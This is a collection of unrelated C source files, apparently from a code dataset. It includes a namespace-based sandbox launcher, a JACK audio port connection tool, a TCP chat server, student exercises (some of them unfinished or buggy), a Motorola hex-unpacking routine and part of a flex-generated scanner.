// This is never reached, but it's nice for completionism
return 0;
}
// If we're running in one of the container modes, we're going to syscall() ourselves a
// new, cloned process that is in a container process. We will use a pipe for synchronization.
// The regular SIGSTOP method does not work because container-inits don't receive STOP or KILL
// signals from within their own pid namespace.
int child_block[2], parent_block[2];
check(0 == pipe(child_block));
check(0 == pipe(parent_block));
pid_t pid;
if (execution_mode == PRIVILEGED_CONTAINER_MODE) {
// We dissociate ourselves from the typical mount namespace. This gives us the freedom
// to start mounting things willy-nilly without mucking up the user's computer.
check(0 == unshare(CLONE_NEWNS));
// Even if we unshare, we might need to mark `/` as private, as systemd often subverts
// the kernel's default value of `MS_PRIVATE` on the root mount. This doesn't affect
// the main root mount, because we have unshared, but this prevents our changes to
// any subtrees of `/` (e.g. everything) from propagating back to the outside `/`.
check(0 == mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL));
// Mount the rootfs, shards, and workspace. We do this here because, on this machine,
// we may not have permissions to mount overlayfs within user namespaces.
mount_the_world(sandbox_root, sandbox_root, workspaces, maps, uid, gid);
}
// We want to request a new PID space, a new mount space, and a new user space
int clone_flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWUSER | SIGCHLD;
if ((pid = syscall(SYS_clone, clone_flags, 0, 0, 0, 0)) == 0) {
// If we're in here, we have become the "child" process, within the container.
// Get rid of the ends of the synchronization pipe that I'm not going to use
close(child_block[1]);
close(parent_block[0]);
// N.B: Capabilities in the original user namespaces are now dropped
// The kernel may have decided to reset our dumpability, because of
// the privilege change. However, the parent needs to access our /proc
// entries (undumpable processes have /proc/%pid owned by root) in order
// to configure the sandbox, so reset dumpability.
prctl(PR_SET_DUMPABLE, 1, 0, 0, 0);
// Make sure ^C actually kills this process. By default init ignores
// all signals.
signal(SIGINT, sigint_handler);
// Tell the parent we're ready, and wait until it signals that it's done
// setting up our PID/GID mapping in configure_user_namespace()
close(parent_block[1]);
check(0 == read(child_block[0], NULL, 1));
if (execution_mode == PRIVILEGED_CONTAINER_MODE) {
// If we are in privileged container mode, let's go ahead and drop back
// to the original calling user's UID and GID, which has been mapped to
// zero within this container.
check(0 == setuid(0));
check(0 == setgid(0));
// The /proc mountpoint previously mounted is in the wrong PID namespace;
// mount a new procfs over it to to get better values:
mount_procfs(sandbox_root, 0, 0);
} else if (execution_mode == UNPRIVILEGED_CONTAINER_MODE) {
// If we're in unprivileged container mode, mount the world now that we
// have supreme cosmic power.
mount_the_world(sandbox_root, sandbox_root, workspaces, maps, 0, 0);
}
// Finally, we begin invocation of the target program.
return sandbox_main(sandbox_root, new_cd, sandbox_argc, sandbox_argv);
}
// If we're out here, we are still the "parent" process. The Prestige lives on.
// Check to make sure that the clone actually worked
check(pid != -1);
// Get rid of the ends of the synchronization pipe that I'm not going to use.
close(child_block[0]);
close(parent_block[1]);
// Wait until the child is ready to be configured.
check(0 == read(parent_block[0], NULL, 1));
if (verbose) {
fprintf(stderr, "Child Process PID is %d\n", pid);
}
// Configure user namespace for the child PID.
configure_user_namespace(uid, gid, pid);
// Signal to the child that it can now continue running.
close(child_block[1]);
// Wait until the child exits.
check(pid == waitpid(pid, &status, 0));
check(WIFEXITED(status));
if (verbose) {
fprintf(stderr, "Child Process exited, exit code %d\n", WEXITSTATUS(status));
}
// Give back the terminal to the parent
signal(SIGTTOU, SIG_IGN);
tcsetpgrp(0, pgrp);
// Return the error code of the child
return WEXITSTATUS(status);
}
|
the_stack_data/782018.c | int main(){
int a, b;
a = b + 2;
} |
the_stack_data/11075152.c | /*Exercise 3 - Repetition
Write a C program to calculate the sum of the numbers from 1 to n.
Where n is a keyboard input.
e.g.
n -> 100
sum = 1+2+3+....+ 99+100 = 5050
n -> 1-
sum = 1+2+3+...+10 = 55 */
#include <stdio.h>
int main() {
int n,i,sum = 0;
printf("Enter number :");
scanf("%d",&n);
for(i=1;i<=n;i++)
{
sum = sum + i;
}
printf("Sum is %d",sum);
return 0;
}
|
the_stack_data/75138850.c | /*
Copyright (C) 2002 Jeremy Hall
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include <stdio.h>
#include <errno.h>
#ifndef WIN32
#include <unistd.h>
#endif
#include <string.h>
#include <stdlib.h>
#include <math.h>
#include <getopt.h>
#include <jack/jack.h>
#include <jack/session.h>
jack_port_t *input_port;
jack_port_t *output_port;
int connecting, disconnecting;
volatile int done = 0;
#define TRUE 1
#define FALSE 0
void port_connect_callback(jack_port_id_t a, jack_port_id_t b, int connect, void* arg)
{
done = 1;
}
void
show_version (char *my_name)
{
//fprintf (stderr, "%s: JACK Audio Connection Kit version " VERSION "\n", my_name);
}
void
show_usage (char *my_name)
{
show_version (my_name);
fprintf (stderr, "\nusage: %s [options] port1 port2\n", my_name);
fprintf (stderr, "Connects two JACK ports together.\n\n");
fprintf (stderr, " -s, --server <name> Connect to the jack server named <name>\n");
fprintf (stderr, " -v, --version Output version information and exit\n");
fprintf (stderr, " -h, --help Display this help message\n\n");
fprintf (stderr, "For more information see http://jackaudio.org/\n");
}
int
main (int argc, char *argv[])
{
jack_client_t *client;
jack_status_t status;
char *server_name = NULL;
int c;
int option_index;
jack_options_t options = JackNoStartServer;
char *my_name = strrchr(argv[0], '/');
jack_port_t *src_port = 0;
jack_port_t *dst_port = 0;
jack_port_t *port1 = 0;
jack_port_t *port2 = 0;
char portA[300];
char portB[300];
int use_uuid=0;
int connecting, disconnecting;
int port1_flags, port2_flags;
int rc = 1;
struct option long_options[] = {
{ "server", 1, 0, 's' },
{ "help", 0, 0, 'h' },
{ "version", 0, 0, 'v' },
{ "uuid", 0, 0, 'u' },
{ 0, 0, 0, 0 }
};
while ((c = getopt_long (argc, argv, "s:hvu", long_options, &option_index)) >= 0) {
switch (c) {
case 's':
server_name = (char *) malloc (sizeof (char) * strlen(optarg));
strcpy (server_name, optarg);
options |= JackServerName;
break;
case 'u':
use_uuid = 1;
break;
case 'h':
show_usage (my_name);
return 1;
break;
case 'v':
show_version (my_name);
return 1;
break;
default:
show_usage (my_name);
return 1;
break;
}
}
connecting = disconnecting = FALSE;
if (my_name == 0) {
my_name = argv[0];
} else {
my_name ++;
}
if (strstr(my_name, "disconnect")) {
disconnecting = 1;
} else if (strstr(my_name, "connect")) {
connecting = 1;
} else {
fprintf(stderr, "ERROR! client should be called jack_connect or jack_disconnect. client is called %s\n", my_name);
return 1;
}
if (argc < 3) {
show_usage(my_name);
return 1;
}
/* try to become a client of the JACK server */
if ((client = jack_client_open (my_name, options, &status, server_name)) == 0) {
fprintf (stderr, "JACK server not running?\n");
return 1;
}
jack_set_port_connect_callback(client, port_connect_callback, NULL);
/* find the two ports */
if( use_uuid ) {
char *tmpname;
char *clientname;
char *portname;
tmpname = strdup( argv[argc-1] );
portname = strchr( tmpname, ':' );
portname[0] = '\0';
portname+=1;
clientname = jack_get_client_name_by_uuid( client, tmpname );
if( clientname ) {
snprintf( portA, sizeof(portA), "%s:%s", clientname, portname );
jack_free( clientname );
} else {
snprintf( portA, sizeof(portA), "%s", argv[argc-1] );
}
free( tmpname );
tmpname = strdup( argv[argc-2] );
portname = strchr( tmpname, ':' );
portname[0] = '\0';
portname+=1;
clientname = jack_get_client_name_by_uuid( client, tmpname );
if( clientname ) {
snprintf( portB, sizeof(portB), "%s:%s", clientname, portname );
jack_free( clientname );
} else {
snprintf( portB, sizeof(portB), "%s", argv[argc-2] );
}
free( tmpname );
} else {
snprintf( portA, sizeof(portA), "%s", argv[argc-1] );
snprintf( portB, sizeof(portB), "%s", argv[argc-2] );
}
if ((port1 = jack_port_by_name(client, portA)) == 0) {
fprintf (stderr, "ERROR %s not a valid port\n", portA);
goto exit;
}
if ((port2 = jack_port_by_name(client, portB)) == 0) {
fprintf (stderr, "ERROR %s not a valid port\n", portB);
goto exit;
}
port1_flags = jack_port_flags (port1);
port2_flags = jack_port_flags (port2);
if (port1_flags & JackPortIsInput) {
if (port2_flags & JackPortIsOutput) {
src_port = port2;
dst_port = port1;
}
} else {
if (port2_flags & JackPortIsInput) {
src_port = port1;
dst_port = port2;
}
}
if (!src_port || !dst_port) {
fprintf (stderr, "arguments must include 1 input port and 1 output port\n");
goto exit;
}
/* tell the JACK server that we are ready to roll */
if (jack_activate (client)) {
fprintf (stderr, "cannot activate client");
goto exit;
}
/* connect the ports. Note: you can't do this before
the client is activated (this may change in the future).
*/
if (connecting) {
if (jack_connect(client, jack_port_name(src_port), jack_port_name(dst_port))) {
fprintf (stderr, "cannot connect client, already connected?\n");
goto exit;
}
}
if (disconnecting) {
if (jack_disconnect(client, jack_port_name(src_port), jack_port_name(dst_port))) {
fprintf (stderr, "cannot disconnect client, already disconnected?\n");
goto exit;
}
}
// Wait for connection/disconnection to be effective
while(!done) {
#ifdef WIN32
Sleep(10);
#else
usleep(10000);
#endif
}
/* everything was ok, so setting exitcode to 0 */
rc = 0;
exit:
jack_client_close (client);
exit (rc);
}
|
the_stack_data/12637523.c | /* Add C baseline implementation */
|
the_stack_data/92013.c | #include <stdio.h>
#include <stdlib.h>
int seed;
#define RN (((seed = seed*11109+13849) & 0x7fff) >> 1)
int rnd(int range) {
return range == 0 ? 0 : abs(RN) % range;
}
int main(void) {
for (int t = 0; t < 10000; t++) {
seed = (int) arc4random();
int hp = 12;
for (int level = 0; level < 8; level++)
hp += rnd(10) + 1;
printf("%d\n", hp);
}
return 0;
}
|
the_stack_data/156394191.c | /*************************************************************************
> File Name: Programming_HW#4_1.c
> Author: Gavin Lee
> Mail: [email protected]
> Created Time: 2016年01月16日 下午 01:41:36
************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <math.h>
#include <time.h>
/* Colors */
#define KNRM "\x1B[0m"
#define KRED "\x1B[31m"
#define KGRN "\x1B[32m"
#define KYEL "\x1B[33m"
#define KBLU "\x1B[34m"
#define KMAG "\x1B[35m"
#define KCYN "\x1B[36m"
#define KWHT "\x1B[37m"
#define RESET "\033[0m"
/* other */
#define MAX(x,y) ((x>y)?x:y)
struct MatrixNode {
int row, col, value;
struct MatrixNode* down;
struct MatrixNode* right;
};
// global variable
struct MatrixNode** colHeader;
struct MatrixNode** rowHeader;
void read(FILE* fin, struct MatrixNode** name_col, struct MatrixNode** name_row, int* c, int* r);
void insert(struct MatrixNode** name_col, struct MatrixNode** name_row, int c, int r, int num);
//int summation();
//int subtraction();
//int multiplication();
int main(int argc, char* argv[])
{
// FILE* fin = fopen(argv[argc-2], "r");
// FILE* fout = fopen(argv[argc-1], "w");
FILE* fin = fopen("matrix1.txt", "r");
FILE* fout = fopen("result1.txt", "w");
struct MatrixNode** a_colHeader,** a_rowHeader;
int a_col, a_row;
struct MatrixNode** b_colHeader,** b_rowHeader;
int b_col, b_row;
read(fin, a_colHeader, a_rowHeader, &a_col, &a_row);
read(fin, b_colHeader, b_rowHeader, &b_col, &b_row);
#ifdef DEBUG
printf("A\n");
int i;
for(i = 0; i < a_col; ++i)
while(a_colHeader[i] != NULL)
{
printf("%d ", a_colHeader[i]->value);
a_colHeader[i] = a_colHeader[i]->down;
}
printf("B\n");
for(i = 0; i < a_row; ++i)
{
printf("%d ", a_rowHeader[i]->value);
a_rowHeader[i] = a_rowHeader[i]->down;
}
printf("B\n");
for(i = 0; i < b_col; ++i)
while(b_colHeader[i] != NULL)
{
printf("%d ", b_colHeader[i]->value);
b_colHeader[i] = b_colHeader[i]->down;
}
printf("\n");
for(i = 0; i < b_row; ++i)
{
printf("%d ", b_rowHeader[i]->value);
b_rowHeader[i] = b_rowHeader[i]->down;
}
printf("\n");
#endif
/* int n;
fprintf(fout, "A + B = ");
if(n = summation())
{
fprintf(fout, "(It occupies %d entries.)\n", n);
int i, j;
for(i = 0; i < a_row; ++i)
for(j = 0; j < a_col; ++j)
fprintf(fout, "%d ", colHeader[j]->value);
}
else
fprintf(fout, "\nNo operation\n");
fprintf(fout, "A - B = ");
if(n = subtraction())
{
fprintf(fout, "(It occupies %d entries.)\n", n);
int i, j;
for(i = 0; i < a_row; ++i)
for(j = 0; j < a_col; ++j)
fprintf(fout, "%d ", colHeader[j]->value);
}
else
fprintf(fout, "\nNo operation\n");
fprintf(fout, "A * B = ");
if(n = multiplication())
{
fprintf(fout, "(It occupies %d entries.)\n", n);
int i, j;
for(i = 0; i < a_row; ++i)
for(j = 0; j < b_col; ++j)
fprintf(fout, "%d ", colHeader[j]->value);
}
else
fprintf(fout, "\nNo operation\n");
*/ fclose(fin);
fclose(fout);
return 0;
}
void read(FILE* fin, struct MatrixNode** name_col, struct MatrixNode** name_row, int* c, int* r)
{
fgetc(fin);
fscanf(fin, "%d%d", c, r);
int i, j;
for(i = 0; i < *c; ++i)
{
for(j = 0; j < *r; ++j)
{
int num;
printf("hiii\n");
fscanf(fin, "%d", &num);
printf("hihi");
insert(name_col, name_row, i, j, num);
}
}
}
void insert(struct MatrixNode** name_col, struct MatrixNode** name_row, int c, int r, int num)
{
while(name_col[c] != NULL)
name_col[c] = name_col[c]->down;
printf("hihi\n");
name_col[c] = malloc(sizeof(struct MatrixNode));
printf("hihiHi\n");
name_col[c]->value = num;
name_col[c]->col = c;
name_col[c]->row = r;
while(name_row[r] != NULL)
name_row[r] = name_row[r]->right;
name_row[r] = name_col[c];
return;
}
/*
int summation()
{}
int subtraction()
{}
int multiplication()
{}
*/
|
the_stack_data/218893741.c | /**************************************************************************
(C) Copyright 1990, Motorola Inc., U.S.A.
Note: Reproduction and use for the development of North American digital
cellular standards or development of digital speech coding
standards within the International Telecommunications Union -
Telecommunications Standardization Sector is authorized by Motorola
Inc. No other use is intended or authorized.
Systems Research Laboratories
Chicago Corporate Research and Development Center
Motorola Inc.
**************************************************************************/
/*
--------------------------------------------------------------------------
void unpack0_ (int *wrds, int *blen, char *packed);
~~~~~~~~~~~~~
Description:
A function which accepts ascii (data) in the form of hex characters
what are to be unpacked into the wrds array. The number of bits in
each wrd is indicated by the parallel array blen. The number of words
is indicated by wrds[0]=blen[0]. The hexidecimal numbers expressed as
ASCII characters '0'..'F'.
--------------------------------------------------------------------------
*/
void unpack0_(wrds, blen, packed)
int *wrds;
int *blen;
char *packed;
{
int hex, bcentcnt, bhexcnt, centcnt;
bhexcnt = 0;
for (centcnt = 1; centcnt <= blen[0]; centcnt++)
{
/* now fill new word */
for (wrds[centcnt] = 0, bcentcnt = blen[centcnt];
bcentcnt > 0; bcentcnt--, bhexcnt--)
{
/* any bit left in input? */
if (bhexcnt <= 0)
{
bhexcnt = 4;
hex = *packed++;
if (hex >= 'A')
{
hex = hex - 'A' + 10;
}
else
{
hex -= '0';
}
}
if (hex & 1 << bhexcnt - 1)
{ /* input is a one */
wrds[centcnt] += 1 << bcentcnt - 1;
}
}
}
}
/* .......................... End of unpack0_() ......................... */
|
the_stack_data/72555.c | #include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include "netdb.h"
#include "arpa/inet.h"
int main()
{
char serverMessage[1000];
char clientMessage[1000];
//create the server socket
int socketd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server_address;
server_address.sin_family = AF_INET;
server_address.sin_port = htons(1234);
server_address.sin_addr.s_addr = INADDR_ANY;
//calling bind function to connect specified IP and port
bind(socketd, (struct sockaddr *)&server_address, sizeof(server_address));
listen(socketd, 5);
//starting the accepting
int client_socket = accept(socketd, NULL, NULL);
while (1)
{
printf("\nEnter Message :");
scanf("%s", serverMessage);
send(client_socket, serverMessage, sizeof(serverMessage), 0);
//recieve the data from the server
recv(client_socket, &clientMessage, sizeof(clientMessage), 0);
//recieved data from the server successfully then printing the data obtained from the server
if (clientMessage[0] == 'e' & clientMessage[1] == 'x' && clientMessage[2] == 'i' && clientMessage[3] == 't')
break;
printf("\nCLIENT: %s", clientMessage);
//close the socket
close(socketd);
sleep(1);
}
return 0;
} |
the_stack_data/55213.c | #include <stdio.h>
char plus = '+';
int ex1(char input[]) {
int floor = 0;
for(int i = 0; '\0' != input[i]; i ++)
{
floor += plus == input[i] ? 1 : -1;
}
return floor;
}
int ex2(char input[]) {
int floor = 0;
for(int i = 0; '\0' != input[i]; i ++)
{
floor += plus == input[i] ? 1 : -1;
floor = floor < 0 ? 0 : floor;
}
return floor;
}
int ex3(char input[]) {
int floor = 0;
for(int i = 0; '\0' != input[i]; i += 2)
{
floor += plus == input[i+1] ? (input[i]-'0') : -(input[i]-'0');
floor = floor < 0 ? 0 : floor;
}
return floor;
}
int main() {
printf("%d\n", ex1("++"));
printf("%d\n", ex1("--"));
printf("%d\n", ex1("-+-+-+"));
printf("%d\n", ex2("+----+"));
printf("%d\n", ex2("+--"));
printf("%d\n", ex3("2-"));
printf("%d\n", ex3("1+2-1+"));
printf("%d\n", ex3("3+2+2-"));
return 0;
}
|
the_stack_data/18244.c | /* A lexical scanner generated by flex */
/* Scanner skeleton version:
* $Header: /home/daffy/u0/vern/flex/RCS/flex.skl,v 2.91 96/09/10 16:58:48 vern Exp $
*/
#define FLEX_SCANNER
#define YY_FLEX_MAJOR_VERSION 2
#define YY_FLEX_MINOR_VERSION 5
#include <stdio.h>
/* cfront 1.2 defines "c_plusplus" instead of "__cplusplus" */
#ifdef c_plusplus
#ifndef __cplusplus
#define __cplusplus
#endif
#endif
#ifdef __cplusplus
#include <stdlib.h>
#include <unistd.h>
/* Use prototypes in function declarations. */
#define YY_USE_PROTOS
/* The "const" storage-class-modifier is valid. */
#define YY_USE_CONST
#else /* ! __cplusplus */
#if __STDC__
#define YY_USE_PROTOS
#define YY_USE_CONST
#endif /* __STDC__ */
#endif /* ! __cplusplus */
#ifdef __TURBOC__
#pragma warn -rch
#pragma warn -use
#include <io.h>
#include <stdlib.h>
#define YY_USE_CONST
#define YY_USE_PROTOS
#endif
#ifdef YY_USE_CONST
#define yyconst const
#else
#define yyconst
#endif
#ifdef YY_USE_PROTOS
#define YY_PROTO(proto) proto
#else
#define YY_PROTO(proto) ()
#endif
/* Returned upon end-of-file. */
#define YY_NULL 0
/* Promotes a possibly negative, possibly signed char to an unsigned
* integer for use as an array index. If the signed char is negative,
* we want to instead treat it as an 8-bit unsigned char, hence the
* double cast.
*/
#define YY_SC_TO_UI(c) ((unsigned int) (unsigned char) c)
/* Enter a start condition. This macro really ought to take a parameter,
* but we do it the disgusting crufty way forced on us by the ()-less
* definition of BEGIN.
*/
#define BEGIN yy_start = 1 + 2 *
/* Translate the current start state into a value that can be later handed
* to BEGIN to return to the state. The YYSTATE alias is for lex
* compatibility.
*/
#define YY_START ((yy_start - 1) / 2)
#define YYSTATE YY_START
/* Action number for EOF rule of a given start state. */
#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1)
/* Special action meaning "start processing a new file". */
#define YY_NEW_FILE yyrestart( yyin )
#define YY_END_OF_BUFFER_CHAR 0
/* Size of default input buffer. */
#define YY_BUF_SIZE 16384
typedef struct yy_buffer_state *YY_BUFFER_STATE;
extern int yyleng;
extern FILE *yyin, *yyout;
#define EOB_ACT_CONTINUE_SCAN 0
#define EOB_ACT_END_OF_FILE 1
#define EOB_ACT_LAST_MATCH 2
/* The funky do-while in the following #define is used to turn the definition
* int a single C statement (which needs a semi-colon terminator). This
* avoids problems with code like:
*
* if ( condition_holds )
* yyless( 5 );
* else
* do_something_else();
*
* Prior to using the do-while the compiler would get upset at the
* "else" because it interpreted the "if" statement as being all
* done when it reached the ';' after the yyless() call.
*/
/* Return all but the first 'n' matched characters back to the input stream. */
#define yyless(n) \
do \
{ \
/* Undo effects of setting up yytext. */ \
*yy_cp = yy_hold_char; \
YY_RESTORE_YY_MORE_OFFSET \
yy_c_buf_p = yy_cp = yy_bp + n - YY_MORE_ADJ; \
YY_DO_BEFORE_ACTION; /* set up yytext again */ \
} \
while ( 0 )
#define unput(c) yyunput( c, yytext_ptr )
/* The following is because we cannot portably get our hands on size_t
* (without autoconf's help, which isn't available because we want
* flex-generated scanners to compile on their own).
*/
typedef unsigned int yy_size_t;
struct yy_buffer_state
{
FILE *yy_input_file;
char *yy_ch_buf; /* input buffer */
char *yy_buf_pos; /* current position in input buffer */
/* Size of input buffer in bytes, not including room for EOB
* characters.
*/
yy_size_t yy_buf_size;
/* Number of characters read into yy_ch_buf, not including EOB
* characters.
*/
int yy_n_chars;
/* Whether we "own" the buffer - i.e., we know we created it,
* and can realloc() it to grow it, and should free() it to
* delete it.
*/
int yy_is_our_buffer;
/* Whether this is an "interactive" input source; if so, and
* if we're using stdio for input, then we want to use getc()
* instead of fread(), to make sure we stop fetching input after
* each newline.
*/
int yy_is_interactive;
/* Whether we're considered to be at the beginning of a line.
* If so, '^' rules will be active on the next match, otherwise
* not.
*/
int yy_at_bol;
/* Whether to try to fill the input buffer when we reach the
* end of it.
*/
int yy_fill_buffer;
int yy_buffer_status;
#define YY_BUFFER_NEW 0
#define YY_BUFFER_NORMAL 1
/* When an EOF's been seen but there's still some text to process
* then we mark the buffer as YY_EOF_PENDING, to indicate that we
* shouldn't try reading from the input source any more. We might
* still have a bunch of tokens to match, though, because of
* possible backing-up.
*
* When we actually see the EOF, we change the status to "new"
* (via yyrestart()), so that the user can continue scanning by
* just pointing yyin at a new input file.
*/
#define YY_BUFFER_EOF_PENDING 2
};
static YY_BUFFER_STATE yy_current_buffer = 0;
/* We provide macros for accessing buffer states in case in the
* future we want to put the buffer states in a more general
* "scanner state".
*/
#define YY_CURRENT_BUFFER yy_current_buffer
/* yy_hold_char holds the character lost when yytext is formed. */
static char yy_hold_char;
static int yy_n_chars; /* number of characters read into yy_ch_buf */
int yyleng;
/* Points to current character in buffer. */
static char *yy_c_buf_p = (char *) 0;
static int yy_init = 1; /* whether we need to initialize */
static int yy_start = 0; /* start state number */
/* Flag which is used to allow yywrap()'s to do buffer switches
* instead of setting up a fresh yyin. A bit of a hack ...
*/
static int yy_did_buffer_switch_on_eof;
void yyrestart YY_PROTO(( FILE *input_file ));
void yy_switch_to_buffer YY_PROTO(( YY_BUFFER_STATE new_buffer ));
void yy_load_buffer_state YY_PROTO(( void ));
YY_BUFFER_STATE yy_create_buffer YY_PROTO(( FILE *file, int size ));
void yy_delete_buffer YY_PROTO(( YY_BUFFER_STATE b ));
void yy_init_buffer YY_PROTO(( YY_BUFFER_STATE b, FILE *file ));
void yy_flush_buffer YY_PROTO(( YY_BUFFER_STATE b ));
#define YY_FLUSH_BUFFER yy_flush_buffer( yy_current_buffer )
YY_BUFFER_STATE yy_scan_buffer YY_PROTO(( char *base, yy_size_t size ));
YY_BUFFER_STATE yy_scan_string YY_PROTO(( yyconst char *yy_str ));
YY_BUFFER_STATE yy_scan_bytes YY_PROTO(( yyconst char *bytes, int len ));
static void *yy_flex_alloc YY_PROTO(( yy_size_t ));
static void *yy_flex_realloc YY_PROTO(( void *, yy_size_t ));
static void yy_flex_free YY_PROTO(( void * ));
#define yy_new_buffer yy_create_buffer
#define yy_set_interactive(is_interactive) \
{ \
if ( ! yy_current_buffer ) \
yy_current_buffer = yy_create_buffer( yyin, YY_BUF_SIZE ); \
yy_current_buffer->yy_is_interactive = is_interactive; \
}
#define yy_set_bol(at_bol) \
{ \
if ( ! yy_current_buffer ) \
yy_current_buffer = yy_create_buffer( yyin, YY_BUF_SIZE ); \
yy_current_buffer->yy_at_bol = at_bol; \
}
#define YY_AT_BOL() (yy_current_buffer->yy_at_bol)
typedef unsigned char YY_CHAR;
FILE *yyin = (FILE *) 0, *yyout = (FILE *) 0;
typedef int yy_state_type;
extern char *yytext;
#define yytext_ptr yytext
static yy_state_type yy_get_previous_state YY_PROTO(( void ));
static yy_state_type yy_try_NUL_trans YY_PROTO(( yy_state_type current_state ));
static int yy_get_next_buffer YY_PROTO(( void ));
static void yy_fatal_error YY_PROTO(( yyconst char msg[] ));
/* Done after the current pattern has been matched and before the
* corresponding action - sets up yytext.
*/
#define YY_DO_BEFORE_ACTION \
yytext_ptr = yy_bp; \
yyleng = (int) (yy_cp - yy_bp); \
yy_hold_char = *yy_cp; \
*yy_cp = '\0'; \
yy_c_buf_p = yy_cp;
#define YY_NUM_RULES 3
#define YY_END_OF_BUFFER 4
static yyconst short int yy_accept[15] =
{ 0,
0, 0, 4, 3, 2, 2, 2, 2, 2, 1,
2, 2, 2, 0
} ;
static yyconst int yy_ec[256] =
{ 0,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
1, 1, 1, 1, 1, 1, 3, 2, 2, 2,
4, 2, 2, 2, 5, 2, 2, 2, 6, 2,
2, 2, 2, 7, 8, 2, 2, 2, 9, 2,
2, 2, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1
} ;
static yyconst int yy_meta[10] =
{ 0,
1, 2, 2, 2, 2, 2, 2, 2, 2
} ;
static yyconst short int yy_base[16] =
{ 0,
0, 0, 18, 19, 0, 11, 8, 7, 0, 0,
7, 7, 9, 19, 10
} ;
static yyconst short int yy_def[16] =
{ 0,
14, 1, 14, 14, 15, 15, 15, 15, 15, 15,
15, 15, 15, 0, 14
} ;
static yyconst short int yy_nxt[29] =
{ 0,
4, 5, 6, 5, 7, 5, 5, 5, 8, 11,
12, 9, 10, 13, 10, 10, 10, 14, 3, 14,
14, 14, 14, 14, 14, 14, 14, 14
} ;
static yyconst short int yy_chk[29] =
{ 0,
1, 1, 1, 1, 1, 1, 1, 1, 1, 8,
8, 15, 13, 12, 11, 7, 6, 3, 14, 14,
14, 14, 14, 14, 14, 14, 14, 14
} ;
static yy_state_type yy_last_accepting_state;
static char *yy_last_accepting_cpos;
/* The intent behind this definition is that it'll catch
* any uses of REJECT which flex missed.
*/
#define REJECT reject_used_but_not_detected
#define yymore() yymore_used_but_not_detected
#define YY_MORE_ADJ 0
#define YY_RESTORE_YY_MORE_OFFSET
char *yytext;
#line 1 "lex.l"
#define INITIAL 0
#line 370 "lex.yy.c"
/* Macros after this point can all be overridden by user definitions in
* section 1.
*/
#ifndef YY_SKIP_YYWRAP
#ifdef __cplusplus
extern "C" int yywrap YY_PROTO(( void ));
#else
extern int yywrap YY_PROTO(( void ));
#endif
#endif
#ifndef YY_NO_UNPUT
static void yyunput YY_PROTO(( int c, char *buf_ptr ));
#endif
#ifndef yytext_ptr
static void yy_flex_strncpy YY_PROTO(( char *, yyconst char *, int ));
#endif
#ifdef YY_NEED_STRLEN
static int yy_flex_strlen YY_PROTO(( yyconst char * ));
#endif
#ifndef YY_NO_INPUT
#ifdef __cplusplus
static int yyinput YY_PROTO(( void ));
#else
static int input YY_PROTO(( void ));
#endif
#endif
#if YY_STACK_USED
static int yy_start_stack_ptr = 0;
static int yy_start_stack_depth = 0;
static int *yy_start_stack = 0;
#ifndef YY_NO_PUSH_STATE
static void yy_push_state YY_PROTO(( int new_state ));
#endif
#ifndef YY_NO_POP_STATE
static void yy_pop_state YY_PROTO(( void ));
#endif
#ifndef YY_NO_TOP_STATE
static int yy_top_state YY_PROTO(( void ));
#endif
#else
#define YY_NO_PUSH_STATE 1
#define YY_NO_POP_STATE 1
#define YY_NO_TOP_STATE 1
#endif
#ifdef YY_MALLOC_DECL
YY_MALLOC_DECL
#else
#if __STDC__
#ifndef __cplusplus
#include <stdlib.h>
#endif
#else
/* Just try to get by without declaring the routines. This will fail
* miserably on non-ANSI systems for which sizeof(size_t) != sizeof(int)
* or sizeof(void*) != sizeof(int).
*/
#endif
#endif
/* Amount of stuff to slurp up with each read. */
#ifndef YY_READ_BUF_SIZE
#define YY_READ_BUF_SIZE 8192
#endif
/* Copy whatever the last rule matched to the standard output. */
#ifndef ECHO
/* This used to be an fputs(), but since the string might contain NUL's,
* we now use fwrite().
*/
#define ECHO (void) fwrite( yytext, yyleng, 1, yyout )
#endif
/* Gets input and stuffs it into "buf". number of characters read, or YY_NULL,
* is returned in "result".
*/
#ifndef YY_INPUT
#define YY_INPUT(buf,result,max_size) \
if ( yy_current_buffer->yy_is_interactive ) \
{ \
int c = '*', n; \
for ( n = 0; n < max_size && \
(c = getc( yyin )) != EOF && c != '\n'; ++n ) \
buf[n] = (char) c; \
if ( c == '\n' ) \
buf[n++] = (char) c; \
if ( c == EOF && ferror( yyin ) ) \
YY_FATAL_ERROR( "input in flex scanner failed" ); \
result = n; \
